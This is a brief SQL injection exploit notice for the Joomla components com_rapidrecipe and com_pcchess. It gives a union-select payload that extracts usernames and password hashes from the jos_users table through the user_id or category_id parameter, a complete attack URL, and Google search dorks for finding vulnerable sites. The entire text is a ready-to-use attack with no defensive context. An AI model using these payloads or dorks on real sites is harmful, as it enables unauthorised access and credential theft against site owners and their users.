after user_id or catogry_id add exploit -9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*
allinurl: "com_rapidrecipe"user_id allinurl: "com_rapidrecipe" category_id
index.php?option=com_pcchess&Itemid=S@BUN&page=players&user_id=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*
allinurl: com_pcchess "user_id" allinurl: com_pcchess